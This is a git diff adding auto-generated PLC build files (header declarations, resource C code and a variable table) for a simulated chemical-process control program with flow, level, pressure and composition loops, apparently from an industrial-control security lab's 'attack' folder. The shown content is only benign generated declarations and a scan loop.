variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; 